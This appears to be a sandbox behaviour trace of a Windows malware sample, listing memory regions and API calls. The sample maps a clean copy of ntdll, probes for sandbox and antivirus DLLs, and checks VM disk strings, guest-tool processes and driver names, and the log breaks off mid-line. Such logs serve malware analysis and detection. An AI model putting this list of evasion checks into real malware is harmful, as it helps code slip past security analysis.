"shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 374 start_va = 0x74e20000 end_va = 0x74e63fff monitored = 0 entry_point = 0x74e27410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 375 start_va = 0x77670000 end_va = 0x7767efff monitored = 0 entry_point = 0x77672e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 376 start_va = 0x1d70000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 377 start_va = 0x1e70000 end_va = 0x1feafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 378 start_va = 0x1ff0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 379 start_va = 0x1f0000 end_va = 0x1f5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 380 start_va = 0x4d0000 end_va = 0x4d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 817 start_va = 0x4e0000 end_va = 0x4f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Thread: id = 3 os_tid = 0x880 [0078.250] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="kernel32" | out: DestinationString="kernel32") [0078.250] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x74f30000) returned 0x0 [0078.250] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="user32" | out: DestinationString="user32") [0078.251] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x750d0000) returned 0x0 [0078.278] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="advapi32" | out: DestinationString="advapi32") [0078.278] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x77b10000) returned 0x0 [0079.459] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="shell32" | out: DestinationString="shell32") [0079.459] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x75690000) returned 0x0 [0087.093] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0087.093] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x500598 [0087.093] GetKeyboardLayoutList (in: nBuff=1, lpList=0x500598 | out: lpList=0x500598) returned 1 [0087.094] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fb0c | out: TokenHandle=0x19fb0c*=0x150) returned 1 [0087.094] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x19, TokenInformation=0x19fb10, TokenInformationLength=0x14, ReturnLength=0x19fb08 | out: TokenInformation=0x19fb10, ReturnLength=0x19fb08) returned 1 [0087.094] ExpandEnvironmentStringsW (in: lpSrc="%systemroot%\\system32\\ntdll.dll", lpDst=0x19fd4c, nSize=0x104 | out: lpDst="C:\\Windows\\system32\\ntdll.dll") returned 0x1e [0087.095] CreateFileW (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.098] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x1000002, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0087.098] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1e70000 [0087.101] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fd50, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 0x48 [0087.101] wcsstr (_Str="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", _SubStr="7869.vmt") returned 0x0 [0087.101] NtQuerySystemInformation (in: SystemInformationClass=0x67, SystemInformation=0x19ff4c, Length=0x8, ResultLength=0x0 | out: SystemInformation=0x19ff4c, ResultLength=0x0) returned 0x0 [0087.102] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff54, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff54, ReturnLength=0x0) returned 0x0 [0087.102] GetModuleHandleA (lpModuleName="sbiedll") returned 0x0 [0087.102] GetModuleHandleA (lpModuleName="aswhook") returned 0x0 [0087.102] GetModuleHandleA (lpModuleName="snxhk") returned 0x0 [0087.102] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x508260 [0087.102] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" [0087.102] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") [0087.102] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x0) returned 0xc0000034 [0087.103] LocalFree (hMem=0x508260) returned 0x0 [0087.103] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x508260 [0087.103] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" [0087.103] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") [0087.103] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x15c) returned 0x0 [0087.104] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0087.104] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x509f40 [0087.104] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x509f40, Length=0x2c, ResultLength=0x19ff48 | out: KeyInformation=0x509f40, ResultLength=0x19ff48) returned 0x0 [0087.104] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0087.104] LocalAlloc (uFlags=0x40, uBytes=0x4e) returned 0x50aa58 [0087.104] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x50aa58, Length=0x4e, ResultLength=0x19ff48 | out: KeyInformation=0x50aa58, ResultLength=0x19ff48) returned 0x0 [0087.105] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="qemu") returned 0x0 [0087.105] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="virtio") returned 0x0 [0087.105] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vmware") returned 0x0 [0087.105] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vbox") returned 0x0 [0087.105] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="xen") returned 0x0 [0087.105] LocalFree (hMem=0x50aa58) returned 0x0 [0087.105] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0087.105] LocalAlloc (uFlags=0x40, uBytes=0x44) returned 0x50aa58 [0087.105] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x50aa58, Length=0x44, ResultLength=0x19ff48 | out: KeyInformation=0x50aa58, ResultLength=0x19ff48) returned 0x0 [0087.110] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="qemu") returned 0x0 [0087.110] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="virtio") returned 0x0 [0087.110] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vmware") returned 0x0 [0087.110] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vbox") returned 0x0 [0087.110] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="xen") returned 0x0 [0087.111] LocalFree (hMem=0x50aa58) returned 0x0 [0087.111] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0087.111] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x50aa58 [0087.111] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x50aa58, Length=0x50, ResultLength=0x19ff48 | out: KeyInformation=0x50aa58, ResultLength=0x19ff48) returned 0x0 [0087.112] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="qemu") returned 0x0 [0087.112] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="virtio") returned 0x0 [0087.112] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vmware") returned 0x0 [0087.112] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vbox") returned 0x0 [0087.112] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="xen") returned 0x0 [0087.112] LocalFree (hMem=0x50aa58) returned 0x0 [0087.112] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0087.112] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x50aa58 [0087.112] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x50aa58, Length=0x46, ResultLength=0x19ff48 | out: KeyInformation=0x50aa58, ResultLength=0x19ff48) returned 0x0 [0087.113] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="qemu") returned 0x0 [0087.113] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="virtio") returned 0x0 [0087.113] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vmware") returned 0x0 [0087.113] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vbox") returned 0x0 [0087.113] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="xen") returned 0x0 [0087.113] LocalFree (hMem=0x50aa58) returned 0x0 [0087.113] LocalFree (hMem=0x509f40) returned 0x0 [0087.113] NtClose (Handle=0x15c) returned 0x0 [0087.114] LocalFree (hMem=0x508260) returned 0x0 [0087.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x1f338) returned 0xc0000004 [0087.135] LocalAlloc (uFlags=0x40, uBytes=0x20338) returned 0x1d72050 [0087.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1d72050, Length=0x20338, ResultLength=0x19ff54 | out: SystemInformation=0x1d72050, ResultLength=0x19ff54*=0x18468) returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="qemu-ga.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="qga.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="windanr.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="vboxservice.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="vboxtray.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="vmtoolsd.exe") returned 0x0 [0087.145] wcsstr (_Str="system", _SubStr="prl_tools.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="qga.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="windanr.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.145] wcsstr (_Str="smss.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.145] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.145] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0087.145] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="qga.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="windanr.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.146] wcsstr (_Str="wininit.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.146] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.147] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="qga.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="windanr.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.147] wcsstr (_Str="winlogon.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="qga.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="windanr.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.147] wcsstr (_Str="services.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.148] wcsstr (_Str="services.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="qga.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="windanr.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.148] wcsstr (_Str="lsass.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.148] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.149] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.149] wcsstr (_Str="dwm.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.149] wcsstr (_Str="dwm.exe", _SubStr="qga.exe") returned 0x0 [0087.149] wcsstr (_Str="dwm.exe", _SubStr="windanr.exe") returned 0x0 [0087.149] wcsstr (_Str="dwm.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.160] wcsstr (_Str="dwm.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.160] wcsstr (_Str="dwm.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.160] wcsstr (_Str="dwm.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.161] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0087.162] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0087.164] LocalFree (hMem=0x1d72050) returned 0x0 [0087.165] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x9800) returned 0xc0000004 [0087.165] LocalAlloc (uFlags=0x40, uBytes=0xa800) returned 0x1d72050 [0087.166] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x1d72050, Length=0xa800, ResultLength=0x19ff54 | out: SystemInformation=0x1d72050, ResultLength=0x19ff54*=0x9800) returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vmci.s") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vmusbm") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vmmous") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vm3dmp") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vmrawd") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vmmemc") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vboxgu") returned 0x0 [0087.166] strstr (_Str="ntoskrnl.exe", _SubStr="vboxsf") returned 0x0 [0087.167] strstr (_Str="ntoskrnl.exe", _SubStr="vboxmo") returned 0x0 [0087.167] strstr (_Str="ntoskrnl.exe", _SubStr="vboxvi") returned 0x0 [0087.167] strstr (_Str="ntoskrnl.exe", _SubStr="vboxdi") returned 0x0 [0087.167] strstr (_Str="ntoskrnl.exe", _SubStr="vioser") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vmci.s") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vmusbm") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vmmous") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vm3dmp") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vmrawd") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vmmemc") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vboxgu") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vboxsf") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vboxmo") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vboxvi") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vboxdi") returned 0x0 [0087.167] strstr (_Str="hal.dll", _SubStr="vioser") returned 0x0 [0087.167] strstr (_Str="kd.dll", _SubStr="vmci.s") returned 0x0 [0087.167] strstr (_Str="kd.dll", _SubStr="vmusbm") returned 0x0 [0087.167] strstr (_Str="kd.dll", _SubStr="vmmous") returned 0x0 [0087.167] strstr (_Str="kd.dll", _SubStr="vm3dmp") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vmrawd") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vmmemc") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vboxgu") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vboxsf") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vboxmo") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vboxvi") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vboxdi") returned 0x0 [0087.168] strstr (_Str="kd.dll", _SubStr="vioser") returned 0x0 [0087.168] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmci.s") returned 0x0 [0087.168] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmusbm") returned 0x0 [0087.168] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmous") returned 0x0 [0087.168] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vm3dmp") returned 0x0 [0087.168] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmrawd") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmemc") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxgu") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxsf") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxmo") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxvi") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxdi") returned 0x0 [0087.169] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vioser") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vmci.s") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vmusbm") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vmmous") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vm3dmp") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vmrawd") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vmmemc") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vboxgu") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vboxsf") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vboxmo") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vboxvi") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vboxdi") returned 0x0 [0087.169] strstr (_Str="werkernel.sys", _SubStr="vioser") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vmci.s") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vmusbm") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vmmous") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vm3dmp") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vmrawd") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vmmemc") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vboxgu") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vboxsf") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vboxmo") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vboxvi") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vboxdi") returned 0x0 [0087.170] strstr (_Str="clfs.sys", _SubStr="vioser") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vmci.s") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vmusbm") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vmmous") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vm3dmp") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vmrawd") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vmmemc") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vboxgu") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vboxsf") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vboxmo") returned 0x0 [0087.170] strstr (_Str="tm.sys", _SubStr="vboxvi") returned 0x0 [0087.171] strstr (_Str="tm.sys", _SubStr="vboxdi") returned 0x0 [0087.171] strstr (_Str="tm.sys", _SubStr="vioser") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vmci.s") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vmusbm") returned 0x0 [0087.171] strstr 